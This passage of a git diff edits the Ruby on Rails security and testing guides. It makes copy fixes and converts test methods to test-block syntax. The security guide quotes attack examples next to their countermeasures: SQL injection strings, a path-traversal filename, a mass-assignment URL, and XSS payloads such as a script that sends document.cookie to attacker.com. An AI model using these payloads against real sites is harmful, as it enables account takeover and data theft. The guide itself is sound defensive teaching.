end + def self.sweep(time = 1.hour) + time = time.split.inject { |count, unit| + count.to_i.send(unit) + } if time.is_a?(String) + + delete_all "updated_at < '#{time.ago.to_s(:db)}'" + end +end </ruby> The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above: <ruby> -self.delete_all "updated_at < '#{time.to_s(:db)}' OR +delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'" </ruby> @@ -291,7 +289,7 @@ def sanitize_filename(filename) returning filename.strip do |name| # NOTE: File.basename doesn't work right with Windows paths on Unix # get only the filename, not the whole path - name.gsub! /^.*(\\|\/)/, '' + name.sub! /\A.*(\\|\/)/, '' # Finally, replace all non alphanumeric, underscore # or periods with underscore name.gsub! /[^\w\.\-]/, '_' @@ -326,7 +324,7 @@ Simply pass a file name like “../../../etc/passwd” to download the server's <ruby> basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files')) filename = File.expand_path(File.join(basename, @file.public_filename)) -raise if basename =! +raise if basename != File.expand_path(File.join(File.dirname(filename), '../../../')) send_file filename, :disposition => 'inline' </ruby> @@ -381,7 +379,7 @@ end Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this: <pre> -"name":http://www.example.com/user/signup?user=ow3ned&user[admin]=1 +"name":http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1 </pre> This will set the following parameters in the controller: @@ -396,7 +394,7 @@ Note that this vulnerability is not restricted to database columns. Any setter <ruby> class Person < ActiveRecord::Base - has_many :credits + has_many :children accepts_nested_attributes_for :children end @@ -471,7 +469,7 @@ h4. Brute-Forcing Accounts -- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._ -A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes. +A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes. Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names. @@ -536,7 +534,7 @@ h4. Good Passwords -- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ -Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: +Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned <a href="#examples-from-the-underground">below</a>. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are: password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey. @@ -556,7 +554,7 @@ class File < ActiveRecord::Base end </ruby> -This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems: +This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added ^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems: <plain> file.txt%0A<script>alert('hello')</script> @@ -572,7 +570,7 @@ h4. Privilege Escalation -- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._ -The most common parameter that a user might tamper with, is the id parameter, as in +":id":http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this: +The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this: <ruby> @project = Project.find(params[:id]) @@ -621,7 +619,7 @@ SQL injection attacks aim at influencing database queries by manipulating web ap Project.find(:all, :conditions => "name = '#{params[:name]}'") </ruby> -This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1=1', the resulting SQL query will be: +This could be in a search action and the user may enter a project's name that he wants to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: <sql> SELECT * FROM projects WHERE name = '' OR 1 --' @@ -631,7 +629,7 @@ The two dashes start a comment ignoring everything after it. So the query return h5. Bypassing Authorization -Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. +Usually a web application includes access control. The user enters his login credentials, the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. <ruby> User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password]}'") @@ -640,7 +638,7 @@ User.find(:first, "login = '#{params[:name]}' AND password = '#{params[:password If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be: <sql> -SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 +SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 </sql> This will simply find the first record in the database, and grants access to this user. @@ -663,7 +661,7 @@ This will result in the following SQL query: <sql> SELECT * FROM projects WHERE (name = '') UNION - SELECT id,login AS name,password AS description,1,1,1 FROM users --') + SELECT id,login AS name,password AS description,1,1,1 FROM users --' </sql> The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query. @@ -729,7 +727,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal <script>document.write(document.cookie);</script> </plain> -For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie. +For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie. <html> <script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> @@ -753,7 +751,7 @@ With web page defacement an attacker can do a lot of things, for example, presen This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. -A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. +A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...": @@ -828,7 +826,7 @@ MySpace blocks many tags, however it allows CSS. So the worm's author put JavaSc <div style="background:url('javascript:alert(1)')"> </html> -So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript allows has a handy eval() function which executes any string as code. +So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code. <html> <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> @@ -901,7 +899,7 @@ h4. Command Line Injection -- _Use user-supplied command line parameters with caution._ -If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and \+command+. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|). +If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|). A countermeasure is to _(highlight)use the +system(command, parameters)+ method which passes command line parameters safely_. diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile index 8318146ed3..c7b475899f 100644 --- a/railties/guides/source/testing.textile +++ b/railties/guides/source/testing.textile @@ -162,7 +162,7 @@ require 'test_helper' class PostTest < ActiveSupport::TestCase # Replace this with your real tests. - def test_truth + test "the truth" do assert true end end @@ -186,7 +186,17 @@ The +PostTest+ class defines a _test case_ because it inherits from +ActiveSuppo def test_truth </ruby> -Any method defined within a test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run. +Any method defined within a +Test::Unit+ test case that begins with +test+ (case sensitive) is simply called a test. So, +test_password+, +test_valid_password+ and +testValidPassword+ all are legal test names and are run automatically when the test case is run. + +Rails adds a +test+ method that takes a test name and a block. It generates a normal +Test::Unit+ test with method names prefixed with +test_+. + +<ruby> +test "the truth" do + # ... +end +</ruby> + +This makes test names more readable by replacing underscores with regular language. <ruby> assert true @@ -262,7 +272,7 @@ The +.+ (dot) above indicates a passing test. When a test fails you see an +F+; To see how a test failure is reported, you can add a failing test to the +post_test.rb+ test case. <ruby> -def test_should_not_save_post_without_title +test "should not save post without title" do post = Post.new assert !post.save end @@ -272,16 +282,13 @@ Let us run this newly added test. <pre> $ ruby unit/post_test.rb -n test_should_not_save_post_without_title -Loaded suite unit/post_test +Loaded suite -e Started F -Finished in 0.197094 seconds. +Finished in 0.102072 seconds. 1) Failure: -test_should_not_save_post_without_title(PostTest) - [unit/post_test.rb:11:in `test_should_not_save_post_without_title' - /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__' - /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']: +test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]: <false> is not true. 1 tests, 1 assertions, 1 failures, 0 errors @@ -290,7 +297,7 @@ test_should_not_save_post_without_title(PostTest) In the output, +F+ denotes a failure. You can see the corresponding trace shown under +1)+ along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here: <ruby> -def test_should_not_save_post_without_title +test "should not save post without title" do post = Post.new assert !post.save, "Saved the post without a title" end @@ -299,21 +306,10 @@ end Running this test shows the friendlier assertion message: <pre> -$ ruby unit/post_test.rb -n test_should_not_save_post_without_title -Loaded suite unit/post_test -Started -F -Finished in 0.198093 seconds. - 1) Failure: -test_should_not_save_post_without_title(PostTest) - [unit/post_test.rb:11:in `test_should_not_save_post_without_title' - /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__' - /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']: +test_should_not_save_post_without_title(PostTest) [/test/unit/post_test.rb:6]: Saved the post without a title. <false> is not true. - -1 tests, 1 assertions, 1 failures, 0 errors </pre> Now to get this test to pass we can add a model level validation for the _title_ field. @@ -343,7 +339,7 @@ TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an To see how an error gets reported, here's a test containing an error: <ruby> -def test_should_report_error +test "should report error" do # some_undefined_variable is not defined elsewhere in the test case some_undefined_variable assert true @@ -354,18 +350,15 @@ Now you can see even more output in the console from running the tests: <pre> $ ruby unit/post_test.rb -n test_should_report_error -Loaded suite unit/post_test +Loaded suite -e Started E -Finished in 0.195757 seconds. +Finished in 0.082603 seconds. 1) Error: test_should_report_error(PostTest): -NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x2cc9de8> - /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing' - unit/post_test.rb:16:in `test_should_report_error' - /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__' - /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run' +NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x249d354> + /test/unit/post_test.rb:6:in `test_should_report_error' 1 tests, 0 assertions, 0 failures, 1 errors </pre> @@ -446,7 +439,7 @@ Now that we have used Rails scaffold generator for our +Post+ resource, it has a Let me take you through one such test, +test_should_get_index+ from the file +posts_controller_test.rb+. <ruby> -def test_should_get_index +test "should get index" do get :index assert_response :success assert_not_nil assigns(:posts) @@ -479,7 +472,7 @@ NOTE: If you try running +test_should_create_post+ test from +posts_controller_t Let us modify +test_should_create_post+ test in +posts_controller_test.rb+ so that all our test pass: <ruby> -def test_should_create_post +test "should create post" do assert_difference('Post.count') do post :create, :post => { :title => 'Some title'} end @@ -535,7 +528,7 @@ h4. A Fuller Functional Test Example Here's another example that uses +flash+, +assert_redirected_to+, and +assert_difference+: <ruby> -def test_should_create_post +test "should create post" do assert_difference('Post.count') do post :create, :post => { :title => 'Hi', :body => 'This is my first post.'} end @@ -625,7 +618,7 @@ class UserFlowsTest < ActionController::IntegrationTest # fixtures :your, :models # Replace this with your real tests. - def test_truth + test "the truth" do assert true end end @@ -660,7 +653,7 @@ require 'test_helper' class UserFlowsTest < ActionController::IntegrationTest fixtures :users - def test_login_and_browse_site + test "login and browse site" do # login via https https! get "/login" @@ -688,7 +681,7 @@ require 'test_helper' class UserFlowsTest < ActionController::IntegrationTest fixtures :users - def test_login_and_browse_site + test "login and browse site" do # User avs logs in avs = login(:avs) @@ -771,12 +764,12 @@ class PostsControllerTest < ActionController::TestCase @post = nil end - def test_should_show_post + test "should show post" do get :show, :id => @post.id assert_response :success end - def test_should_destroy_post + test "should destroy post" do assert_difference('Post.count', -1) do delete :destroy, :id => @post.id end @@ -809,17 +802,17 @@ class PostsControllerTest < ActionController::TestCase @post = nil end - def test_should_show_post + test "should show post" do get :show, :id => @post.id assert_response :success end - def test_should_update_post + test "should update post" do put :update, :id => @post.id, :post => { } assert_redirected_to post_path(assigns(:post)) end - def test_should_destroy_post + test "should destroy post" do assert_difference('Post.count', -1) do delete :destroy, :id => @post.id end @@ -841,7 +834,7 @@ h3. Testing Routes Like everything else in your Rails application, it is recommended that you test your routes. An example test for a route in the default +show+ action of +Posts+ controller above should look like: <ruby> -def test_should_route_to_post +test "should route to post" do assert_routing '/posts/1', { :controller => "posts", :action => "show", :id => "1" } end </ruby> @@ -883,7 +876,7 @@ require 'test_helper' class UserMailerTest < ActionMailer::TestCase tests UserMailer - def test_invite + test "invite" do @expected.from = 'me@example.com' @expected.to = 'friend@example.com' @expected.subject = "You have been invited by #{@expected.from}" @@ -920,7 +913,7 @@ Functional testing for mailers involves more than just checking that the email b require 'test_helper' class UserControllerTest < ActionController::TestCase - def test_invite_friend + test "invite friend" do assert_difference 'ActionMailer::Base.deliveries.size', +1 do post :invite_friend, :email => 'friend@example.com' end |